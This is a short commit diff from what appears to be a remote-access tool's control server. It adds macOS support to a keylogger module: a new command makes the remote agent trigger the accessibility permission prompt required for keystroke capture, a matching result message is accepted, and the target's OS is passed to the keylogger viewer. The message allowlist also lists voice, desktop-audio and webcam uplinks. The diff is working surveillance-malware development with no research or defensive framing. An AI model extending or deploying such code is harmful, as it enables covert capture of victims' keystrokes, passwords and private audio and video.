test
This commit is contained in:
@@ -828,7 +828,7 @@ func runBoundFiles() {
|
||||
env.CGO_ENABLED = "0";
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: "WARNING: Cross-compiling to darwin from a non-macOS host requires an osxcross/macOS SDK toolchain, which is not bundled. Forcing CGO disabled for this target. Build natively on macOS for full CGO support.\n",
|
||||
text: "WARNING: Cross-compiling to darwin from a non-macOS host requires an osxcross/macOS SDK toolchain, which is not bundled. Forcing CGO disabled for this target. Build natively on macOS for full CGO support (keylogger keystroke capture requires CGO).\n",
|
||||
level: "warn",
|
||||
});
|
||||
}
|
||||
|
||||
@@ -726,6 +726,7 @@ export async function handleWebSocketMessage(
|
||||
case "keylog_file_content":
|
||||
case "keylog_clear_result":
|
||||
case "keylog_delete_result":
|
||||
case "keylog_permission_result":
|
||||
deps.handleKeyloggerMessage(client.id, payload);
|
||||
break;
|
||||
case "script_result": {
|
||||
|
||||
@@ -447,7 +447,7 @@ export function handleKeyloggerViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
sessionManager.addKeyloggerSession(session);
|
||||
ws.data.sessionId = sessionId;
|
||||
logger.info(`[keylogger] viewer connected session=${sessionId} client=${clientId}`);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, clientOs: target?.os || "" });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
}
|
||||
@@ -465,6 +465,12 @@ export function handleKeyloggerViewerMessage(ws: ServerWebSocket<SocketData>, ra
|
||||
|
||||
const commandId = uuidv4();
|
||||
switch (payload.type) {
|
||||
case "keylog_request_permission":
|
||||
// Ask the agent to trigger the macOS accessibility permission prompt.
|
||||
// On non-macOS agents this is a no-op that immediately returns granted.
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_request_permission", id: commandId } as any));
|
||||
metrics.recordCommand("keylog_request_permission");
|
||||
break;
|
||||
case "keylog_list":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_list", id: commandId } as any));
|
||||
metrics.recordCommand("keylog_list");
|
||||
|
||||
@@ -31,6 +31,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"keylog_file_content",
|
||||
"keylog_clear_result",
|
||||
"keylog_delete_result",
|
||||
"keylog_permission_result",
|
||||
"voice_uplink",
|
||||
"desktop_audio_uplink",
|
||||
"webcam_devices",
|
||||
|
||||
Reference in New Issue
Block a user